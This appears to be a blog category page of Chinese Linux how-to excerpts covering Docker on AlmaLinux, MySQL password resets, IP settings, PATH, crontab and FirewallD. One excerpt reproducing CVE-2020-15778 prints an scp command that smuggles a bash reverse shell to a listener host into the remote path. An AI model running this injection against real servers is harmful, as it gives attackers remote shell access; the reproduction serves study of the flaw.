Linux
文章平均质量分 79
安服仔
你远没有自己想象中那么努力
展开
-
AlmaLinux 8上安装Docker
查看本机Linux发行版本[root@Alma_1 ~]# cat /etc/redhat-release AlmaLinux release 8.4 (Electric Cheetah)第 1 步:更新 AlmaLinux / Rocky Linux 8 系统通过将 AlmaLinux / Rocky Linux 8 系统操作系统包更新到最新版本来开始安装。sudo dnf -y update如果您有内核相关的更新,建议执行系统重启:sudo reboot第 2 步:添加 Docke原创 2021-08-21 13:39:21 · 2933 阅读 · 3 评论 -
linux下mysql忘记密码解决方案
1.关闭mysql服务1.检查mysql服务是否启动,如果启动,关闭mysql服务ps -ef | grep -i mysql2.停止mysqlservice mysqld stop2.修改mysql的配置文件my.conf一般在/etc目录下,运行命令:vi /etc/my.cnf,编辑文件在文件的[mysqld]标签下添加一句:skip-grant-tables保存退出3.重启数据库运行命令:service mysqld start4.使用空的初始密码登录mysql运行命令转载 2020-12-06 21:28:27 · 150 阅读 · 0 评论 -
Ubuntu临时和永久修改ip地址掩码和网关
在终端修改指定网卡的ip地址,有临时修改和永久修改查看网卡信息终端输入 ifconfig 并回车,查看需要修改的网卡名称临时修改当重启电脑后,ip地址将恢复为原来的ip地址,此方法适合临时测试使用修改ip和子网掩码sudo ifconfig 网卡名 ip信息 netmask 掩码修改网关的方法(route -n查看网关)使用route命令修改网卡的网关信息sudo route add default gw 网关信息 网卡名永久修改1.修改配置文件永久修改需要对配置文件原创 2020-11-25 23:29:37 · 4439 阅读 · 0 评论 -
Linux下将脚本变为可全局运行的方法
几种方法方法1(仅当前有效)例子:PATH=$PATH:/etc/apache/bin ##把/etc/apache/bin目录添加到PATH中使用这种方法,只对当前会话有效,也就是说每当登出或注销系统以后,PATH 设置就会失效方法2把脚本/可执行文件所在目录加到环境变量中修改环境变量,在bash下用export,在csh下用setenv例子:export PATH=$PATH:/usr/local/bin全局的是/etc/profile某个用户的就是 ~/.bash_p原创 2020-11-08 00:10:32 · 6999 阅读 · 0 评论 -
修改环境变量时,错误export之后导致linux所有命令无法使用
本想着将一个脚本加入到系统环境变量,方便执行,然后在/etc/profile文件中写入了错误的export语句,导致刷新后所有的命令都无法执行,vim都没办法用了(刚开始慌了),然后就想到可以在命令前边加上绝对路径执行,/usr/bin/vim /etc/profile...原创 2020-11-07 23:24:28 · 2982 阅读 · 3 评论 -
(CVE-2020-15778)OpenSSH_8.3-命令注入漏洞复现
攻击方监听端口:#使用一个窗口开启nc进行监听nc -lvvp 7777#开启另一个窗口,上传反弹shell的命令scp dic.txt root@192.168.0.187:'`bash -i >& /dev/tcp/192.168.0.130/7777 0>&1`/tmp/attack.txt'更改默认shell命令设zsh为默认shell:chsh -s /bin/zsh设bash为默认shell: chsh -s /bin/bash问:不能用zsh反弹原创 2021-02-01 22:44:21 · 2055 阅读 · 0 评论 -
查找 apache httpd.conf 位置
1.find命令find / -name 'httpd.conf' -print2.输出apache版本信息(/usr/sbin)apachectl -Vhttpd -V结果如下:root@53edafde8599:/var/www/html/upload # apachectl -VAH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 172.17.0原创 2020-10-15 15:04:19 · 10158 阅读 · 1 评论 -
crontab的安装和使用
cron工具简介:一、cron 服务的启动与关闭1、ubuntu安装cron2、centOS安装cron二、使用1、启动Cron服务2、使用Cron帮助3、命令格式4、命令功能5、对Cron作业进行列表显示6、编辑Cron作业7、移除Cron作业8、用Crontab计划任务9、crontab 文件格式三、crontab 的配置文件四、注意cron工具简介: cron是Linux系统中最有用的工具之一,cron作业是在指定时间到来时被调度执行的作业。 最常见的自动化系统管理和自动维护工作,比如每天.原创 2020-09-28 02:38:12 · 6746 阅读 · 0 评论 -
docker启动容器报错(iptables failed)
启动docker容器时报错:root@dreamer7:/root # docker run -it -p 80:80 vulnerables/web-dvwa docker: Error response from daemon: driver failed programming external connectivity on endpoint gifted_goldwasser (680172f14ce6eab20619aec805d71ce459c060292e5dbdffbfa2c1c3c原创 2020-09-17 09:09:01 · 6102 阅读 · 0 评论 -
如何使用 FirewallD 开启 IP 白名单
FirewallD 开启 IP 白名单Firewalld 中的基本概念区域(zone)安装并启用防火墙熟悉当前的防火墙规则使用 Firewalld 配置 IP 白名单Firewalld 是可用于许多 Linux 发行版的防火墙管理解决方案,它充当 Linux 内核提供的 iptables 数据包过滤系统的前端。在本教程中,介绍如何为服务器设置防火墙,并使用 firewall-cmd 管理工具来管理防火墙添加 IP 白名单。Firewalld 中的基本概念区域(zone)区域(zone)基本上是一组转载 2020-09-05 14:36:15 · 13561 阅读 · 2 评论